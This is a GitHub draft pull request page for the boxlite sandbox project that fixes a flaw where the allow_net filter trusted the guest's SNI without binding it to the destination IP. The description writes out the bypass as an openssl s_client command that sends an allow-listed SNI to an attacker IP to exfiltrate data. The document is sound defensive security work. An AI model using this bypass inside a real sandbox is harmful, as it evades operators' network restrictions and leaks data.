fix(net): bind allow_net SNI inspection to the real destination IP#779
Draft
G4614 wants to merge 1 commit into
Draft
fix(net): bind allow_net SNI inspection to the real destination IP#779G4614 wants to merge 1 commit into
G4614 wants to merge 1 commit into
Conversation
The allow_net TCP filter trusted the guest-supplied SNI/Host alone: the SNI-inspection path checked filter.MatchesHostname(SNI) and then dialed the guest-chosen destination IP without ever verifying the two belong together. A restricted box could therefore exfiltrate to any host with `openssl s_client -connect <attacker-ip>:443 -servername api.openai.com` (or any client sending an allow-listed SNI/Host to an attacker IP): the SNI matched, so the proxy forwarded the raw TLS stream to the attacker. Bind the decision to the destination IP (TCPFilter.AllowsConnection): the SNI must match a rule AND destIP must be a real address for an allowed host — - exact hosts: destIP must be one of the IPs the allow_net DNS sinkhole already resolved (the exact addresses the guest itself received), sourced from the DNS zone records so there is no second, possibly-divergent resolution; - wildcard hosts (subdomains not pre-resolved): the SNI is resolved at connection time and destIP must be in the result. The resolved IPs are kept in a separate set so this does not widen which ports decideTCPRoute permits. This is the bridge-side (universal) layer of the defense-in-depth fix; it covers every caller (REST, local SDK, CLI). PR boxlite-ai#693 is the complementary REST-side layer (resolve hostnames to /32 CIDRs at create time); the two compose. Two-sided test: TestTCPFilter_AllowsConnection_BindsSNItoIP — an allow-listed SNI toward an attacker IP (and a wildcard SNI toward an attacker IP) are blocked; reverting AllowsConnection to the pre-fix SNI-only check makes both pass and the test fails. TestResolvedHostIPsFromZones covers the sinkhole→filter glue. Audit finding #1 (high). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
Important Review skippedDraft detected. Please check the settings in the CodeRabbit UI or the ⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Plus Run ID: You can disable this status message by setting the Use the checkbox below for a quick retry:
✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
|
boxlite security fixes seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account. You have signed the CLA already but the status is still pending? Let us recheck it. |
G4614
pushed a commit
to G4614/boxlite
that referenced
this pull request
Jun 15, 2026
…time REST-side layer of the allow_net SNI-bypass fix (audit finding #1). Convert network.allow_net hostnames to /32 CIDRs in the create controller, so egress is bound to concrete IPs the lower layer can enforce instead of trusting a guest-supplied SNI/Host. CIDRs pass through; bare IPv4 → /32; hostnames resolve via dns.resolve4 (2s timeout, capped at MAX_NETWORK_ALLOW_LIST_ENTRIES, unresolvable entries dropped with a warning rather than failing create). Rebased onto current main: the original boxlite-ai#693 stack's DTO/mapper wiring (boxlite-ai#687) and the box rename have since landed (incl. boxlite-ai#775's allow_net validation), so this keeps only the novel resolver and wires it into BoxliteBoxController.createBox, reusing boxlite-ai#775's MAX_NETWORK_ALLOW_LIST_ENTRIES. This composes with the gvproxy-side SNI↔IP binding (boxlite-ai#779): REST converts hostnames to IPs up front; the bridge is the universal backstop for all callers. Caveat: create-time resolution is a snapshot; the bridge filter covers dynamic changes. Two-sided test (resolve-allow-net.spec.ts, jest): hostnames become /32 CIDRs, IPs get /32, CIDRs pass through, unresolvable dropped, list capped. Reverting the resolver to hostname-passthrough fails the resolution cases. `tsc -p api/tsconfig.app.json` clean. Supersedes the stale commits on boxlite-ai#693. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Source-level security audit fix for the headline finding. The
allow_netTCPfilter trusted the guest-supplied SNI/Host alone:
inspectAndForwardcheckedfilter.MatchesHostname(SNI)and then dialed the guest-chosen destination IPwithout verifying the two belong together.
Exploit: with
allow_net=["api.openai.com"], a guest runsopenssl s_client -connect 203.0.113.9:443 -servername api.openai.com(or anyclient sending an allow-listed SNI/Host to an attacker IP). The SNI matches, so
the proxy forwards the raw TLS stream to
203.0.113.9— a data-exfiltrationchannel to any host, defeating the allowlist. The DNS sinkhole doesn't help: the
attack hard-codes the IP and never resolves.
Fix (bridge side — universal layer)
TCPFilter.AllowsConnection(hostname, destIP)binds the decision to the realdestination IP: the SNI must match a rule and
destIPmust be a real addressfor an allowed host —
destIPmust be one of the IPs the allow_net DNS sinkholealready resolved (the exact addresses the guest itself received) — sourced from
the DNS zone records, so there is no second, possibly-divergent resolution that
could false-reject legitimate CDN traffic;
connection time and
destIPmust be in the result.Resolved IPs are kept in a separate set so this does not widen which ports
decideTCPRoutepermits.This covers every caller (REST, local SDK, CLI). It is the bridge-side layer
of a defense-in-depth pair; the REST-side layer (resolve hostnames to /32 CIDRs
at box-create time) is #693. The two compose: for REST-created boxes the
allowlist arrives as IPs and the IP path handles it; this filter is the universal
backstop for everyone else.
Test (two-sided)
TestTCPFilter_AllowsConnection_BindsSNItoIP: an allow-listed SNI toward anattacker IP — and a wildcard SNI toward an attacker IP — are blocked, while the
sinkhole-resolved IP and the live-resolved wildcard subdomain IP pass. Reverting
AllowsConnectionto the pre-fix SNI-only check makes both attacker cases passand the test fails.
TestResolvedHostIPsFromZonescovers the sinkhole→filterglue (extracts real A-record IPs, ignores wildcard regexp records and the
0.0.0.0 sinkhole default). Full gvproxy-bridge suite +
go vetgreen.Audit finding #1 (high).
🤖 Generated with Claude Code